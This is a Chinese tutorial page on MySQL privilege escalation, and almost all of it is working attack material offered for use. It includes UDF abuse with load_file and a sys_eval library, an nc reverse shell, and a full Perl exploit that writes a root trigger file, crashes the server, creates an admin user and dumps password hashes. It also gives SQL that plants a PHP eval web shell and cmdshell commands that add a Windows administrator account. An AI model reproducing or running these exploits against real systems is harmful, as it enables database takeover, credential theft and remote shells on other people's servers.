萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> mysql教程 >> Mysql數據庫提權常用的安全問題介紹

Mysql數據庫提權常用的安全問題介紹

mysql數據庫提權安全問題有很多,如遠程提權,root用戶提權,及UDF的安全問題利用等等,下面我們一起來看看這些問題吧。

一、UDF的安全問題利用

譬如, 執行一條sql語句查看/etc/passwd文件的內容:

 

1.jpg - 大小: 144.99 KB - 尺寸: 748 x 625 - 點擊打開新窗口浏覽全圖

 

 

這裡主要是用到了load_file()函數,當然這個函數是可以被禁用的。以上可以輕松看到/etc/passwd文件的信息和ip地址,當然其他的文件內容都可以被看到。

由於load_file()函數只能實現類似系統命令cat的查看文件功能,但是想執行系統命令的功能,那麼只能用UDF了,也就是User defined Function,用戶定義函數。

查看mysql的plugin,plugin_dir的路徑為/usr/lib/mysql/plugin

 

2.jpg - 大小: 18.86 KB - 尺寸: 346 x 124 - 點擊打開新窗口浏覽全圖

 

如果像我遇到這個數據庫服務器一樣,plugin_dir的路徑為空也無所謂了。

 

3.jpg - 大小: 5.77 KB - 尺寸: 335 x 49 - 點擊打開新窗口浏覽全圖

 

執行以下sql語句,把udf.txt裡面的十六進制的文件內容導出到/usr/lib/mysqludf.so

 

4.jpg - 大小: 8.76 KB - 尺寸: 640 x 45 - 點擊打開新窗口浏覽全圖

 

查看下這個udf庫所支持的函數

 

5.jpg - 大小: 45.43 KB - 尺寸: 371 x 676 - 點擊打開新窗口浏覽全圖

 

創建函數並且查看是否創建成功,可以看到一個名叫sys_eval的UDF創建成功了。

 

6.jpg - 大小: 21.12 KB - 尺寸: 557 x 169 - 點擊打開新窗口浏覽全圖

 

最後利用UDF執行更高權限的功能

 

7.jpg - 大小: 51.49 KB - 尺寸: 838 x 218 - 點擊打開新窗口浏覽全圖

 

剩下的就用這個UDF獲得系統權限吧,提示可以用nc反彈,在自己的主機上執行nc -vv -l -p 12345,在數據庫上執行一下sql語句

 

8.jpg - 大小: 15.39 KB - 尺寸: 407 x 131 - 點擊打開新窗口浏覽全圖

 

 

就可以成功反彈出linux shell了,再往下就。不過UDF的利用也有局限性,需要有mysql庫的操作權限,在mysql庫下必須有func表;在skipgranttables開啟的情況下,UDF會被禁止。

PS:mysqludf.so是我已有的一個庫文件,利用它生成了udf.txt,執行以下sql語句即可

 代碼如下 復制代碼

mysql> select hex(load_file('/usr/lib/mysqludf.so')) into outfile '/tmp/udf.txt';
Query OK, 1 row affected (0.04 sec)

二、root權限提權小結

漏洞在12月1日的Seclist上發布,作者在Debian Lenny (mysql-5.0.51a) 、 OpenSuSE 11.4 (5.1.53-log)上測試成功,代碼執行成功後會增加一個MySQL的管理員帳號。

 代碼如下 復制代碼 use DBI();
 
$|=1;
 
=for comment
 
MySQL privilege elevation Exploit
This exploit adds a new admin user.
By Kingcope
 
Tested on www.2cto.com
* Debian Lenny (mysql-5.0.51a)
* OpenSuSE 11.4 (5.1.53-log)
 
How it works:
This exploit makes use of several things:
*The attacker is in possession of a mysql user with 'file' privileges for the target
*So the attacker can create files on the system with this user (owned by user 'mysql')
*So the attacker is able to create TRIGGER files for a mysql table
triggers can be used to trigger an event when a mysql command is executed by the user,
normally triggers are 'attached' to a user and will be executed with this users privilege.
because we can write any contents into the TRG file (the actual trigger file), we write the entry
describing the attached user for the trigger as "root@localhost" what is the default admin user.
* We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized.
  This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn)
  the trigger file would not be recognized.
 
So what the exploit does is:
* Connect to the MySQL Server
* Create a table named rootme for the trigger
* Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG
* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)
* INSERT a value into the table so the trigger event gets executed
* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.
* Crash the MySQL Server again to force it reload the user configuration
* Create a new mysql user with all privileges set to enabled
* Crash again to reload configuration
* Connect by using the newly created user
* The new connection has ADMIN access now to all databases in mysql
* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded
* As said the user has FULL ACCESS to the database now
 
Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.
=cut
 
=for comment
 
user created for testing (file privs will minor privileges to only one database):
 
mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';
Query OK, 0 rows affected (0.00 sec)
 
mysql> create database lessdb
    -> ;
Query OK, 1 row affected (0.00 sec)
 
mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;
Query OK, 0 rows affected (0.02 sec)
 
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;
Query OK, 0 rows affected (0.00 sec)
 
login with new unprivileged user:
mysql> select * from mysql.user;
ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
 
=cut
 
=for comment
 
example attack output:
 
C:UserskingcopeDesktop>perl mysql_privilege_elevation.pl
select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER
MINATED BY 'ntriggers='CREATE DEFINER=`root`@`localhost` trigger atk after ins
ert on rootme for each row\nbegin \nUPDATE mysql.user SET Select_priv=\'Y\
', Insert_priv=\'Y\', Update_priv=\'Y\', Delete_priv=\'Y\', Create_p
riv=\'Y\', Drop_priv=\'Y\', Reload_priv=\'Y\', Shutdown_priv=\'Y\
', Process_priv=\'Y\', File_priv=\'Y\', Grant_priv=\'Y\', Reference
s_priv=\'Y\', Index_priv=\'Y\', Alter_priv=\'Y\', Show_db_priv=\'Y
\', Super_priv=\'Y\', Create_tmp_table_priv=\'Y\', Lock_tables_priv=\
'Y\', Execute_priv=\'Y\', Repl_slave_priv=\'Y\', Repl_client_priv=\
'Y\', Create_view_priv=\'Y\', Show_view_priv=\'Y\', Create_routine_pri
v=\'Y\', Alter_routine_priv=\'Y\', Create_user_priv=\'Y\', ssl_type=
\'Y\', ssl_cipher=\'Y\', x509_issuer=\'Y\', x509_subject=\'Y\',
max_questions=\'Y\', max_updates=\'Y\', max_connections=\'Y\' WHERE
User=\'less3\';\nend'nsql_modes=0ndefiners='root@localhost'nclient_cs
_names='latin1'nconnection_cl_names='latin1_swedish_ci'ndb_cl_names='lati
n1_swedish_ci'n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
vilege_elevation.pl line 44.
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
privilege_elevation.pl line 50.
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
privilege_elevation.pl line 59.
W00TW00T!
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
B02C
Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B
Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697
Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7
Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC
 
=cut
 
$user = "less10";
$password = "test";
$database = "lessdb10";
$target = "192.168.2.4";
$folder = "/var/lib/mysql/"; # Linux
$newuser = "rootedbox2";
$newuserpass = "rootedbox2";
$mysql_version = "51"; # can be 51 or 50
 
if ($mysql_version eq "50") {
$inject =
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after insert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_priv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', References_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_priv=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type=\\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'$user\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';";
} else {
$inject =
"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after insert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_priv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', References_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_priv=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', Event_priv=\\\'Y\\\', Trigger_priv=\\\'Y\\\', ssl_type=\\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'$user\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedish_ci\'\n';";
}
 
print $inject;#exit;
$inject2 =
"SELECT 'TYPE=TRIGGERNAME\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";
 
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
                       "$user", "$password",
                       {'RaiseError' => 0});
eval { $dbh->do("DROP TABLE rootme") };
$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
$dbh->do($inject);
$dbh->do($inject2);
 
$a = "A" x 10000;
$dbh->do("grant all on $a.* to 'user'@'%' identified by 'secret';");
 
sleep(3);
 
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
                       "$user", "$password",
                       {'RaiseError' => 0});
 
$dbh->do("INSERT INTO rootme VALUES('ROOTED');");
$dbh->do("grant all on $a.* to 'user'@'%' identified by 'secret';");
 
sleep(3);
 
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
                       "$user", "$password",
                       {'RaiseError' => 0});
 
$dbh->do("CREATE USER '$newuser'@'%' IDENTIFIED BY '$newuserpass';");
$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'@'%' WITH GRANT OPTION;");
$dbh->do("grant all on $a.* to 'user'@'%' identified by 'secret';");
 
sleep(3);
 
my $dbh = DBI->connect("DBI:mysql:host=$target;",
                       $newuser, $newuserpass,
                       {'RaiseError' => 0});
 
my $sth = $dbh->prepare("SELECT * FROM mysql.user");
$sth->execute();
 
print "W00TW00T!n";
 
while (my $ref = $sth->fetchrow_hashref()) {
print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}n";
}
$sth->finish();

三、遠程數據庫提權漏洞

由於5.1以上版本,規定了加載自定義的dll的路徑必須要在plugin下,但是默認情況下這個文件夾並不存在
 
#1 phpmyadmin 後台得獲得WebShell的方法
http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路徑
--------------------------------------------------------------------------------------
create database tempdb;
use tempdb
create TABLE tb_temp (cmd text NOT NULL);
Insert INTO tb_temp (cmd) VALUES('<?php eval($_POST[c]);?>');
select cmd from tb_temp into outfile 'D:\webdir\eval.php';
drop TABLE IF exists tb_temp;
drop database tempdb;                                  
-------------------------------------------------------------------------------------
 
#2 獲取Mysql數據庫root密碼後可測試導出udf.dll提權
首先上傳個udf.dll.php填寫相關的參數後導出udf.dll到C:windowsudf.dll
然後執行以下命令
-----------------------------------------------------------------------------------
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user admin$ 123456 /add');
select cmdshell('net localgroup administrators admin$ /add');
drop function cmdshell;
------------------------------------------------------------------------------------
不過這個過程中常出問題的就是udf.dll被殺,哈哈哈.....
 
#3 通常最後會嘗試使用Func反彈來獲取CmdShell
然而總是失敗,其原因在於:Mix.dll解壓出來路徑默認是WebShell的路徑
一般情況下Mysql是不允許從任意目錄加載函數庫.呵呵,可以來驗證下我的說法.
1.使用Webshell的Mysql鏈接功能登入root
2.執行create function Mixconnect returns string soname 'D:\webdir\Mix.dll';
3.執行select Mixconnect('ip_addr','9999');
若能成功的話,在本地使用nc -vv -l -p 9999便可反彈回個System權限的CmdSell
然二步時便會報錯Error“No paths allowed for shared library”
這便說明了Mysql不允許從任意目錄加載函數庫.解決的方法也是很簡單的可以使用Mysql
將處於Webshell路徑下的Mix.dll拷貝到C:\Windows\Mix.dll
實現方法如下:
---------------------------------------------------------------------------------------
create table temp_mix(abc longblob);
insert into temp_mix values(load_file('D:\webdir\Mix.dll'));
select * from temp_mix into dumpfile 'C:\Windows\Mix.dll';
create function Mixconnect returns string soname 'Mix.dll';
select Mixconnect('ip_addr','9999');
drop table if exists temp_mix;
------------------------------------------------------------------------------------------
 
PS:若發現Can't connect to MySQL server on 'localhost' (10061)說明mysql可能假死或者掛了,
      若Mysql掛了,管理員會很快發現的額....因而此招慎用.

總之不管如何做安全我們都必須及時更新系統或軟件的最新版本及bug升級才能做到安全,同時對數據庫數據進行定期或實時備份。

copyright © 萬盛學電腦網 all rights reserved